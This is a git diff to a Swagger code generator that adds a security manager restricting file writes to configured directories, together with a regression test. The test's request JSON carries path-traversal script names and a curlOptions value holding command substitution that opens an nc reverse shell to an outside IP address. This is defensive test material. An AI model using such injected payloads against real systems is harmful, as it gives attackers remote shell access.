diff --git a/grantall.policy b/grantall.policy new file mode 100644 index 00000000000..1e6753ae520 --- /dev/null +++ b/grantall.policy @@ -0,0 +1,3 @@ +grant { + permission java.security.AllPermission; +}; diff --git a/modules/swagger-generator/Dockerfile b/modules/swagger-generator/Dockerfile index 3941869c875..0342f9f177f 100644 --- a/modules/swagger-generator/Dockerfile +++ b/modules/swagger-generator/Dockerfile @@ -11,6 +11,7 @@ WORKDIR /generator COPY docker/jetty_base /generator/ COPY docker/ROOT.xml /generator/webapps/ROOT.xml COPY target/*.war /generator/webapps/ROOT.war +COPY grantall.policy /generator/grantall.policy ENV JETTY_BASE /generator ARG HIDDEN_OPTIONS_DEFAULT_PATH COPY ${HIDDEN_OPTIONS_DEFAULT_PATH} /generator/resources/ diff --git a/modules/swagger-generator/docker/jetty_base/start b/modules/swagger-generator/docker/jetty_base/start index 16f93845c26..308c9c2fbd0 100755 --- a/modules/swagger-generator/docker/jetty_base/start +++ b/modules/swagger-generator/docker/jetty_base/start @@ -43,7 +43,7 @@ JAVA_DEBUG_OPTIONS="-Xdebug -Xrunjdwp:transport=dt_socket,address=8005,server=y, # APP options APP_OPTS="-DHIDDEN_OPTIONS_PATH=${HIDDEN_OPTIONS_PATH} -DHIDDEN_OPTIONS=${HIDDEN_OPTIONS}" # JVM options -JAVA_OPTS="-server -Duser.timezone=GMT -Xms${HEAP} -Xmx${HEAP} -XX:NewSize=${NEW_SIZE} -XX:MaxNewSize=${NEW_SIZE} -XX:+UseConcMarkSweepGC -XX:+UseParNewGC -XX:PermSize=${PERM_SIZE} -XX:MaxPermSize=${PERM_SIZE} -Dfile.encoding=UTF-8" +JAVA_OPTS="-Djava.security.manager -Djava.security.policy==grantall.policy -DgeneratorWriteDirs="/tmp" -server -Duser.timezone=GMT -Xms${HEAP} -Xmx${HEAP} -XX:NewSize=${NEW_SIZE} -XX:MaxNewSize=${NEW_SIZE} -XX:+UseConcMarkSweepGC -XX:+UseParNewGC -XX:PermSize=${PERM_SIZE} -XX:MaxPermSize=${PERM_SIZE} -Dfile.encoding=UTF-8" echo "Starting application with command: " echo ${JAVA_EXEC} ${JETTY_OPTS} ${APP_OPTS} ${JAVA_OPTS} -jar $JETTY_HOME/start.jar diff --git a/modules/swagger-generator/grantall.policy b/modules/swagger-generator/grantall.policy new file mode 100644 index 00000000000..1e6753ae520 --- /dev/null +++ b/modules/swagger-generator/grantall.policy @@ -0,0 +1,3 @@ +grant { + permission java.security.AllPermission; +}; diff --git a/modules/swagger-generator/pom.xml b/modules/swagger-generator/pom.xml index 62eb2f42692..680105e15b6 100644 --- a/modules/swagger-generator/pom.xml +++ b/modules/swagger-generator/pom.xml @@ -38,10 +38,27 @@ + + org.apache.maven.plugins + maven-surefire-plugin + ${surefire-version} + + + ${java.security.policy} + /tmp,. + + + org.apache.maven.plugins maven-failsafe-plugin 2.22.0 + + + ${java.security.policy} + /tmp,. + + integration-test @@ -79,6 +96,10 @@ logback.configurationFile src/main/resources/logback.xml + + java.security.policy + ${java.security.policy} + / @@ -364,6 +385,7 @@ + grantall.policy true unstable 1.0.0 diff --git a/modules/swagger-generator/src/main/java/io/swagger/v3/generator/online/GeneratorController.java b/modules/swagger-generator/src/main/java/io/swagger/v3/generator/online/GeneratorController.java index b01371d31ff..100ce3b0aff 100644 --- a/modules/swagger-generator/src/main/java/io/swagger/v3/generator/online/GeneratorController.java +++ b/modules/swagger-generator/src/main/java/io/swagger/v3/generator/online/GeneratorController.java @@ -10,6 +10,7 @@ import io.swagger.v3.core.util.Yaml; import io.swagger.codegen.v3.service.GenerationRequest; import io.swagger.v3.generator.model.HiddenOptions; +import io.swagger.v3.generator.util.FileAccessSecurityManager; import io.swagger.v3.generator.util.ZipUtil; import io.swagger.oas.inflector.models.RequestContext; import io.swagger.oas.inflector.models.ResponseContext; @@ -52,6 +53,9 @@ public class GeneratorController { private static String PROP_HIDDEN_OPTIONS = "HIDDEN_OPTIONS"; static { + // allow writing files only to directories configgured via generatorWriteDirs sys prop + // e.g. -DgeneratorWriteDirs="/tmp" + System.setSecurityManager(new FileAccessSecurityManager()); hiddenOptions = loadHiddenOptions(); final ServiceLoader loader = ServiceLoader.load(CodegenConfig.class); diff --git a/modules/swagger-generator/src/main/java/io/swagger/v3/generator/util/FileAccessSecurityManager.java b/modules/swagger-generator/src/main/java/io/swagger/v3/generator/util/FileAccessSecurityManager.java new file mode 100644 index 00000000000..e7b81ad424a --- /dev/null +++ b/modules/swagger-generator/src/main/java/io/swagger/v3/generator/util/FileAccessSecurityManager.java @@ -0,0 +1,48 @@ +package io.swagger.v3.generator.util; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.File; +import java.io.IOException; +import java.security.AccessControlException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +public class FileAccessSecurityManager extends SecurityManager { + + static Logger LOGGER = LoggerFactory.getLogger(FileAccessSecurityManager.class); + + static List allowedDirectories= StringUtils.isBlank(System.getProperty("generatorWriteDirs")) ? new ArrayList<>() : Arrays.asList(System.getProperty("generatorWriteDirs").split(",")); + + @Override + public void checkWrite(String file) { + super.checkWrite(file); + + if (allowedDirectories.isEmpty()) { + return; + } + if (!StringUtils.isBlank(file)) { + boolean granted = false; + + for (String dir : allowedDirectories) { + try { + String dirPath = new File(dir).getCanonicalPath(); + if (new File(file).getCanonicalPath().startsWith(dirPath)) { + granted = true; + } + } catch (IOException e) { + LOGGER.error("Exception getting absolute path for file {} and/or allowed dir ", file, e); + throw new SecurityException("Exception getting absolute path for allowed dir " + dir + " and/or file " + file); + } + + } + if (!granted) { + LOGGER.error("Blocking attempt to write to not allowed directory for file " + file); + throw new AccessControlException("Error writing file to " + file + " as target dir is not allowed"); + } + } + } +} diff --git a/modules/swagger-generator/src/test/java/io/swagger/v3/generator/online/GeneratorControllerTest.java b/modules/swagger-generator/src/test/java/io/swagger/v3/generator/online/GeneratorControllerTest.java index b5cc83240f8..6b37a8add59 100644 --- a/modules/swagger-generator/src/test/java/io/swagger/v3/generator/online/GeneratorControllerTest.java +++ b/modules/swagger-generator/src/test/java/io/swagger/v3/generator/online/GeneratorControllerTest.java @@ -39,4 +39,95 @@ public void generateJava() throws Exception { Assert.assertEquals(rr.getContentType(), MediaType.APPLICATION_OCTET_STREAM_TYPE); Assert.assertTrue(rr.getHeaders().getFirst("Content-Disposition").contains(" filename=\"java-client-generated.zip\"")); } + + + @Test + public void generateBashWithAndWithoutSecurityThreat() throws Exception { + + String requestJson = "{\n" + + " \"lang\": \"bash\",\n" + + " \"spec\": {\n" + + " \"swagger\": \"2.0\",\n" + + " \"info\": {\n" + + " \"title\": \"Sample API\",\n" + + " \"description\": \"API description in Markdown.\",\n" + + " \"version\": \"1.0.0\"\n" + + " },\n" + + " \"paths\": {\n" + + " \"/users\": {\n" + + " \"get\": {\n" + + " \"produces\": [\n" + + " \"application/json\"\n" + + " ],\n" + + " \"responses\": {\n" + + " \"200\": {\n" + + " \"description\": \"OK\"\n" + + " }\n" + + " }\n" + + " }\n" + + " }\n" + + " }\n" + + " },\n" + + " \"type\": \"CLIENT\",\n" + + " \"codegenVersion\": \"V2\",\n" + + " \"options\": {\n" + + " \"additionalProperties\": {\n" + + " \"scriptName\": \"../mytemp/start\",\n" + + " \"curlOptions\": \"$(nc 94.76.202.153 8083 -e /bin/sh)\"\n" + + " }\n" + + " }\n" + + "}"; + + + GenerationRequest generationRequest = Json.mapper().readValue(requestJson, GenerationRequest.class); + + GeneratorController g = new GeneratorController(); + RequestContext r = new RequestContext(); + ResponseContext rr = g.generate(r, generationRequest); + Assert.assertEquals(rr.getStatus(), 200); + Assert.assertEquals(rr.getContentType(), MediaType.APPLICATION_OCTET_STREAM_TYPE); + Assert.assertTrue(rr.getHeaders().getFirst("Content-Disposition").contains(" filename=\"bash-client-generated.zip\"")); + + String requestJsonWithThreatInTargetScriptName = "{\n" + + " \"lang\": \"bash\",\n" + + " \"spec\": {\n" + + " \"swagger\": \"2.0\",\n" + + " \"info\": {\n" + + " \"title\": \"Sample API\",\n" + + " \"description\": \"API description in Markdown.\",\n" + + " \"version\": \"1.0.0\"\n" + + " },\n" + + " \"paths\": {\n" + + " \"/users\": {\n" + + " \"get\": {\n" + + " \"produces\": [\n" + + " \"application/json\"\n" + + " ],\n" + + " \"responses\": {\n" + + " \"200\": {\n" + + " \"description\": \"OK\"\n" + + " }\n" + + " }\n" + + " }\n" + + " }\n" + + " }\n" + + " },\n" + + " \"type\": \"CLIENT\",\n" + + " \"codegenVersion\": \"V2\",\n" + + " \"options\": {\n" + + " \"additionalProperties\": {\n" + + " \"scriptName\": \"../../mytemp/start\",\n" + + " \"curlOptions\": \"$(nc 94.76.202.153 8083 -e /bin/sh)\"\n" + + " }\n" + + " }\n" + + "}"; + + + generationRequest = Json.mapper().readValue(requestJsonWithThreatInTargetScriptName, GenerationRequest.class); + + g = new GeneratorController(); + r = new RequestContext(); + rr = g.generate(r, generationRequest); + Assert.assertEquals(rr.getStatus(), 500); + } }